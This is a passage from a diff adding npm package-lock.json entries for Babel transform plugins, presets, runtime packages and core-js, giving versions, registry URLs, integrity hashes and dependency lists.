"https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-function-name/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.14.5.tgz", + "integrity": "sha512-ql33+epql2F49bi8aHXxvLURHkxJbSmMKl9J5yHqg4PLtdE6Uc48CH1GS6TQvZ86eoB/ApZXwm7jlA+B3kra7A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.14.5.tgz", + "integrity": "sha512-WkNXxH1VXVTKarWFqmso83xl+2V3Eo28YY5utIkbsmXoItO8Q3aZxN4BTS2k0hz9dGUloHK26mJMyQEYfkn/+Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.14.5.tgz", + "integrity": "sha512-3lpOU8Vxmp3roC4vzFpSdEpGUWSMsHFreTWOMMLzel2gNGfHE5UWIh/LN6ghHs2xurUp4jRFYMUIZhuFbody1g==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.15.4.tgz", + "integrity": "sha512-qg4DPhwG8hKp4BbVDvX1s8cohM8a6Bvptu4l6Iingq5rW+yRUAhe/YRup/YcW2zCOlrysEWVhftIcKzrEZv3sA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-simple-access": "^7.15.4", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.15.4.tgz", + "integrity": "sha512-fJUnlQrl/mezMneR72CKCgtOoahqGJNVKpompKwzv3BrEXdlPspTcyxrZ1XmDTIr9PpULrgEQo3qNKp6dW7ssw==", + "dev": true, + "dependencies": { + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-module-transforms": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-identifier": "^7.14.9", + "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.14.5.tgz", + "integrity": "sha512-RfPGoagSngC06LsGUYyM9QWSXZ8MysEjDJTAea1lqRjNECE3y0qIJF/qbvJxc4oA4s99HumIMdXOrd+TdKaAAA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.14.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.14.9.tgz", + "integrity": "sha512-l666wCVYO75mlAtGFfyFwnWmIXQm3kSH0C3IRnJqWcZbWkoihyAdDhFm2ZWaxWTqvBvhVFfJjMRQ0ez4oN1yYA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.14.5.tgz", + "integrity": "sha512-Nx054zovz6IIRWEB49RDRuXGI4Gy0GMgqG0cII9L3MxqgXz/+rgII+RU58qpo4g7tNEx1jG7rRVH4ihZoP4esQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.14.5.tgz", + "integrity": "sha512-MKfOBWzK0pZIrav9z/hkRqIk/2bTv9qvxHzPQc12RcVkMOzpIKnFCNYJip00ssKWYkd8Sf5g0Wr7pqJ+cmtuFg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-replace-supers": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.15.4.tgz", + "integrity": "sha512-9WB/GUTO6lvJU3XQsSr6J/WKvBC2hcs4Pew8YxZagi6GkTdniyqp8On5kqdK8MN0LMeu0mGbhPN+O049NV/9FQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.14.5.tgz", + "integrity": "sha512-r1uilDthkgXW8Z1vJz2dKYLV1tuw2xsbrp3MrZmD99Wh9vsfKoob+JTgri5VUb/JqyKRXotlOtwgu4stIYCmnw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-display-name": { + "version": "7.15.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.15.1.tgz", + "integrity": "sha512-yQZ/i/pUCJAHI/LbtZr413S3VT26qNrEm0M5RRxQJA947/YNYwbZbBaXGDrq6CG5QsZycI1VIP6d7pQaBfP+8Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.14.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.14.9.tgz", + "integrity": "sha512-30PeETvS+AeD1f58i1OVyoDlVYQhap/K20ZrMjLmmzmC2AYR/G43D4sdJAaDAqCD3MYpSWbmrz3kES158QSLjw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.14.5", + "@babel/helper-module-imports": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-jsx": "^7.14.5", + "@babel/types": "^7.14.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-development": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.14.5.tgz", + "integrity": "sha512-rdwG/9jC6QybWxVe2UVOa7q6cnTpw8JRRHOxntG/h6g/guAOe6AhtQHJuJh5FwmnXIT1bdm5vC2/5huV8ZOorQ==", + "dev": true, + "dependencies": { + "@babel/plugin-transform-react-jsx": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx/node_modules/@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-react-pure-annotations": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.14.5.tgz", + "integrity": "sha512-3X4HpBJimNxW4rhUy/SONPyNQHp5YRr0HhJdT2OH1BRp0of7u3Dkirc7x9FRJMKMqTBI079VZ1hzv7Ouuz///g==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.14.5.tgz", + "integrity": "sha512-NVIY1W3ITDP5xQl50NgTKlZ0GrotKtLna08/uGY6ErQt6VEQZXla86x/CTddm5gZdcr+5GSsvMeTmWA5Ii6pkg==", + "dev": true, + "dependencies": { + "regenerator-transform": "^0.14.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.14.5.tgz", + "integrity": "sha512-cv4F2rv1nD4qdexOGsRQXJrOcyb5CrgjUH9PKrrtyhSDBNWGxd0UIitjyJiWagS+EbUGjG++22mGH1Pub8D6Vg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.15.8.tgz", + "integrity": "sha512-+6zsde91jMzzvkzuEA3k63zCw+tm/GvuuabkpisgbDMTPQsIMHllE3XczJFFtEHLjjhKQFZmGQVRdELetlWpVw==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.14.5.tgz", + "integrity": "sha512-xLucks6T1VmGsTB+GWK5Pl9Jl5+nRXD1uoFdA5TSO6xtiNjtXTjKkmPdFXVLGlK5A2/or/wQMKfmQ2Y0XJfn5g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.15.8.tgz", + "integrity": "sha512-/daZ8s2tNaRekl9YJa9X4bzjpeRZLt122cpgFnQPLGUe61PH8zMEBmYqKkW5xF5JUEh5buEGXJoQpqBmIbpmEQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.14.5.tgz", + "integrity": "sha512-Z7F7GyvEMzIIbwnziAZmnSNpdijdr4dWt+FJNBnBLz5mwDFkqIXU9wmBcWWad3QeJF5hMTkRe4dAq2sUZiG+8A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.14.5.tgz", + "integrity": "sha512-22btZeURqiepOfuy/VkFr+zStqlujWaarpMErvay7goJS6BWwdd6BY9zQyDLDa4x2S3VugxFb162IZ4m/S/+Gg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.14.5.tgz", + "integrity": "sha512-lXzLD30ffCWseTbMQzrvDWqljvZlHkXU+CnseMhkMNqU1sASnCsz3tSzAaH3vCUXb9PHeUb90ZT1BdFTm1xxJw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.14.5.tgz", + "integrity": "sha512-crTo4jATEOjxj7bt9lbYXcBAM3LZaUrbP2uUdxb6WIorLmjNKSpHfIybgY4B8SRpbf8tEVIWH3Vtm7ayCrKocA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.14.5.tgz", + "integrity": "sha512-UygduJpC5kHeCiRw/xDVzC+wj8VaYSoKl5JNVmbP7MadpNinAm3SvZCxZ42H37KZBKztz46YC73i9yV34d0Tzw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz", + "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4", + "@babel/plugin-proposal-async-generator-functions": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-proposal-class-static-block": "^7.15.4", + "@babel/plugin-proposal-dynamic-import": "^7.14.5", + "@babel/plugin-proposal-export-namespace-from": "^7.14.5", + "@babel/plugin-proposal-json-strings": "^7.14.5", + "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5", + "@babel/plugin-proposal-numeric-separator": "^7.14.5", + "@babel/plugin-proposal-object-rest-spread": "^7.15.6", + "@babel/plugin-proposal-optional-catch-binding": "^7.14.5", + "@babel/plugin-proposal-optional-chaining": "^7.14.5", + "@babel/plugin-proposal-private-methods": "^7.14.5", + "@babel/plugin-proposal-private-property-in-object": "^7.15.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.14.5", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5", + "@babel/plugin-transform-arrow-functions": "^7.14.5", + "@babel/plugin-transform-async-to-generator": "^7.14.5", + "@babel/plugin-transform-block-scoped-functions": "^7.14.5", + "@babel/plugin-transform-block-scoping": "^7.15.3", + "@babel/plugin-transform-classes": "^7.15.4", + "@babel/plugin-transform-computed-properties": "^7.14.5", + "@babel/plugin-transform-destructuring": "^7.14.7", + "@babel/plugin-transform-dotall-regex": "^7.14.5", + "@babel/plugin-transform-duplicate-keys": "^7.14.5", + "@babel/plugin-transform-exponentiation-operator": "^7.14.5", + "@babel/plugin-transform-for-of": "^7.15.4", + "@babel/plugin-transform-function-name": "^7.14.5", + "@babel/plugin-transform-literals": "^7.14.5", + "@babel/plugin-transform-member-expression-literals": "^7.14.5", + "@babel/plugin-transform-modules-amd": "^7.14.5", + "@babel/plugin-transform-modules-commonjs": "^7.15.4", + "@babel/plugin-transform-modules-systemjs": "^7.15.4", + "@babel/plugin-transform-modules-umd": "^7.14.5", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9", + "@babel/plugin-transform-new-target": "^7.14.5", + "@babel/plugin-transform-object-super": "^7.14.5", + "@babel/plugin-transform-parameters": "^7.15.4", + "@babel/plugin-transform-property-literals": "^7.14.5", + "@babel/plugin-transform-regenerator": "^7.14.5", + "@babel/plugin-transform-reserved-words": "^7.14.5", + "@babel/plugin-transform-shorthand-properties": "^7.14.5", + "@babel/plugin-transform-spread": "^7.15.8", + "@babel/plugin-transform-sticky-regex": "^7.14.5", + "@babel/plugin-transform-template-literals": "^7.14.5", + "@babel/plugin-transform-typeof-symbol": "^7.14.5", + "@babel/plugin-transform-unicode-escapes": "^7.14.5", + "@babel/plugin-transform-unicode-regex": "^7.14.5", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.15.6", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", + "core-js-compat": "^3.16.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/preset-env/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/preset-env/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.4.tgz", + "integrity": "sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-react": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.14.5.tgz", + "integrity": "sha512-XFxBkjyObLvBaAvkx1Ie95Iaq4S/GUEIrejyrntQ/VCMKUYvKLoyKxOBzJ2kjA3b6rC9/KL6KXfDC2GqvLiNqQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-transform-react-display-name": "^7.14.5", + "@babel/plugin-transform-react-jsx": "^7.14.5", + "@babel/plugin-transform-react-jsx-development": "^7.14.5", + "@babel/plugin-transform-react-pure-annotations": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.15.4.tgz", + "integrity": "sha512-99catp6bHCaxr4sJ/DbTGgHS4+Rs2RVd2g7iOap6SLGPDknRK9ztKNsE/Fg6QhSeh1FGE5f6gHGQmvvn3I3xhw==", + "dependencies": { + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/runtime-corejs2": { + "version": "7.9.6", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.9.6.tgz", + "integrity": "sha512-TcdM3xc7weMrwTawuG3BTjtVE3mQLXUPQ9CxTbSKOrhn3QAcqCJ2fz+IIv25wztzUnhNZat7hr655YJa61F3zg==", + "dependencies": { + "core-js": "^2.6.5", + "regenerator-runtime": "^0.13.4" + } + }, + "node_modules/@babel/runtime-corejs2/node_modules/core-js": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", + "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/@babel/runtime-corejs3": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.15.4.tgz", + "integrity": "sha512-lWcAqKeB624/twtTc3w6w/2o9RqJPaNBhPGK6DKLSiwuVWC7WFkypWyNg+CpZoyJH0jVzv1uMtXZ/5/lQOLtCg==", + "dependencies": { + "core-js-pure": "^3.16.0", + "regenerator-runtime": "^0.13.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.8.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", + "integrity": 